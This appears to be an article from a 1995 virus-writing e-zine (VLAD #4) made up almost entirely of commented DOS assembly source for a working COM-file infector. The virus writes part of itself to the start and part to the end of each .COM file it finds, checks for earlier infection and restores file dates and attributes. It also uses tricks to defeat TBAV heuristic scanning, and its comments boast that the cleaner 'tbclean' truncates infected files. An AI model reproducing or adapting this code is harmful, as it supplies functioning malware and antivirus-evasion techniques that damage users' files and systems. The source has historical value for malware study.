home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.5_5 < prev    next >
Encoding:
Text File  |  1995-04-22  |  9.2 KB  |  232 lines

  1.  
  2. ; [neither here, nor there]
  3. ; an app-pre-pender.
  4. ;
  5. ; by Metabolis/VLAD
  6. ; thanks to Antigen for helping with bugs/optimizations
  7. ;
  8. ; "there was a time when there was nothing at all
  9. ;  nothing at all, just a distant hum
  10. ;  there was a being and he lived on his own
  11. ;  he had no one to talk to, and nothing to do
  12. ;
  13. ;  he drew up the plans
  14. ;  learnt to work with his hands
  15. ;  a million years passed by
  16. ;  and his work was done
  17. ;
  18. ;  and his words were these
  19. ;
  20. ;  hope you find it in everything
  21. ;  everything that you seek
  22. ;  hope you find it in everything
  23. ;  everything that you seek
  24. ;  hope you find it, hope you find it
  25. ;  hope you find it new"
  26. ;
  27. ;  "hide and seek" - Howard Jones (bite me TU!)
  28. ;
  29. ; This virus will not spread at all, due to the fact that it's
  30. ; direct action and has no real spreading methods such as path/
  31. ; traversal dir infection.  The reason I wrote this was just to
  32. ; see if I could get the app/pre part of it working, and of course
  33. ; to get some code in the magazine which people who're the same
  34. ; level as me can understand ;)  I guess you could call it a
  35. ; laboratory specimen heh.
  36. ;
  37. ; 593 bytes when it infects
  38. ;
  39. ; features
  40. ; - findfirst/findnext (woop!)
  41. ; - relocated DTA (in a rather lame way hehe)
  42. ; - killed tbav flags E,B and C (still scans as F)
  43. ;   it would be too much hassle to remove F, so stuff it ;)
  44. ; - checks if the infectee is the right size
  45. ; - won't infect command.com
  46. ; - won't infect com files which are really EXEs
  47. ; - checks for previous infection
  48. ; - restores original date, time and attributes
  49. ; - since my virus prepends, tbclean shits itself
  50. ;   and truncates the file you want to clean ;)
  51.  
  52.         org     100h                            ; it's a com file ;)
  53.  
  54. start:
  55.         call    $+3                             ; ok, here we get the
  56. next:   int     3h                              ; (kills TBAV heuristic)
  57.         pop     bp                              ; delta offset of the
  58.         sub     bp,offset next                  ; virus and plug it in bp
  59.         jmp     set_dta
  60.  
  61. mask    db      '*.c?m',00h                     ; filemask for findfirst/fn
  62. infsize dw      back-middle                     ; infectee's filesize
  63.  
  64. set_dta:
  65.  
  66.         mov     ah,1ah                          ; set the dta to a little
  67.         mov     dx,0fae0h                       ; before the end of 64k
  68.         int     21h                             ; (enough room for buffer
  69.                                                 ; and the tempdta)
  70. find_first:
  71.  
  72.         lea     dx,[bp+offset mask]
  73.         mov     ah,4eh                          ; find first file
  74.         mov     cx,7                            ; with any attributes
  75.         int     21h
  76.         jc      goto_restore                    ; error?  no .com files
  77.         jmp     open_file                       ; we got one, let's check it
  78.  
  79. find_next:
  80.  
  81.         call    close_file                      ; make sure file is closed
  82.  
  83.         mov     ah,4fh                          ; find next file
  84.         int     21h
  85.         jnc     open_file                       ; if no errors, open file
  86.  
  87. goto_restore:
  88.  
  89.         jmp     restore                         ; error, run original prog
  90.  
  91. calculate_dx:
  92.  
  93.         lea     dx,[bp+offset middle]           ; get offset middle
  94.         add     dx,word ptr [bp+infsize]        ; the size of infected file
  95.         add     dx,end-back                     ; add second half
  96.         ret
  97.  
  98. close_file:
  99.  
  100.         mov     ah,3eh                          ; close file
  101.         int     21h
  102.         ret
  103.  
  104. open_file:
  105.  
  106.         cmp     word ptr [0fae0h+1eh],'OC'      ; don't infect command.com
  107.         je      find_next
  108.  
  109.         cmp     word ptr [0fae0h+1ah],1000      ; bah only infect files
  110.         jbe     find_next                       ; above 1000 bytes
  111.  
  112.         cmp     word ptr [0fae0h+1ah],0fae0h    ; infect those which leave
  113.         jae     find_next                       ; enough space for buffer
  114.  
  115.         mov     dx,0fae0h+1eh                   ; get filename to infect
  116.         mov     ax,4301h                        ; put normal attributes
  117.         mov     cx,20h                          ; on the file..
  118.         int     21h
  119.  
  120.         mov     ax,3D02h                        ; open file for read/write
  121.         int     21h                             ; (filename still in dx)
  122.         jc      find_next                       ; error ? find another file
  123.         
  124.         xchg    bx,ax                           ; put file handle in BX
  125.  
  126.         mov     cx,middle-start                 ; read front half to file
  127.         mov     ah,03fh                         ; first we must
  128.         call    calculate_dx
  129.         int     21h                             ; this is to point to the
  130.         push    dx                              ; buffer to read bytes to
  131.  
  132.         mov     si,dx
  133.         mov     cx,word ptr si                  ; check if it's an EXE
  134.         add     cl,ch                           ; file we're about to
  135.         cmp     cl,167                          ; infect!
  136.         je      find_next
  137.                                                 ; check if the file has
  138.         mov     ax,word ptr si                  ; already been infected
  139.         cmp     ax,000e8h                       ; so we're...
  140.         je      find_next                       ; looking for e800
  141.         mov     cx,word ptr [0fae0h+1ah]
  142.         mov     word ptr [bp+infsize],cx        ; write new infectee filesize
  143.  
  144.         mov     ax,4200h                        ; lseek to begin of file
  145.         cwd                                     ; (xor dx,dx)
  146.         xor     cx,cx
  147.         int     21h
  148.  
  149.         mov     cx,middle-start                 ; write the first half
  150.         mov     ah,40h                          ; of the virus to the start
  151.         lea     dx,[bp+offset start]            ; of the file
  152.         int     21h
  153.  
  154.         mov     ax,4202h                        ; get to the end
  155.         cwd                                     ; of the file (xor dx,dx)
  156.         xor     cx,cx
  157.         int     21h
  158.  
  159.         pop     dx                              ; write the
  160.         mov     cx,middle-start                 ; original top bytes
  161.         mov     ah,40h                          ; we will replace them later
  162.         int     21h
  163.  
  164.         mov     cx,end-back                     ; write second half of
  165.         sub     dx,cx                           ; the virus to the end
  166.         mov     si,dx                           ; of the file
  167.         mov     ah,40h
  168.         int     21h
  169.  
  170.         push    dx
  171.  
  172.         xor     cx,cx
  173.         mov     cl,byte ptr [0fae0h+15h]        ; get old attr from DTA
  174.         mov     dx,0fae0h+1eh                   ; position of filename in DTA
  175.         mov     ax,4301h                        ; set attr to original
  176.         int     21h
  177.         mov     cx,0fae0h+16                    ; date and
  178.         mov     dx,es                           ; time
  179.         mov     ax,5701h                        ; set file date/time
  180.         int     21h
  181.  
  182.         pop     dx
  183.     
  184.         jmp     after_restore
  185.                                                 ; to the most beautiful
  186. sop     db      "I love you P, always will "    ; girl in the world,
  187.                                                 ; if only things were
  188. restore:                                        ; different :(
  189.  
  190.         call    calculate_dx                    ; this gives dx the address
  191.         sub     dx,end-back                     ; of the com's original
  192.                                                 ; bytes which were at 100h
  193. after_restore:
  194.  
  195.         call    close_file
  196.  
  197.         jmp     dx                              ; jump to the second half
  198.                                                 ; of our code.
  199. middle:
  200.  
  201.         db      (middle-start) dup (?)          ; just some dummy shit
  202.         int     20h                             ; so it will quit after
  203.         db      (middle-start)-2 dup (?)        ; executing the first gen.
  204.  
  205. back:
  206.  
  207. ; The virus isn't actually split in *half* technically, the only
  208. ; code which is appended to the file is that which runs the original
  209. ; infected program.  If I put anything else down the end here it
  210. ; would've been hell to calculate all the offsets .. so this'll do me ;)
  211.  
  212.         mov     cx,middle-start                 ; we want to write the bytes
  213.         mov     si,dx                           ; we wrote over at the start
  214.         sub     si,cx                           ; of the file to 100h so
  215.         mov     di,100h                         ; we can run it as usual
  216.         rep     movsb                           ; (funnily enough, that's
  217.         mov     ax,100h-1                       ; what this part does!)
  218.         inc     ax                              ; this will nuke a tbav
  219.         jmp     ax                              ; heuristic.. cool huh
  220.  
  221.         db      " [neither here, nor there]"    ; virus name!
  222.         db      " Metabolis/VLAD"               ; author! (duh)
  223.  
  224. end:
  225.  
  226. fbuffer db      middle-start dup (?)            ; place to store the first
  227.                                                 ; bit of the infectee when
  228.                                                 ; overwriting it.
  229.  
  230. ; this virus was brought to you by the TBAV flags, C,B,E and F
  231.  
  232.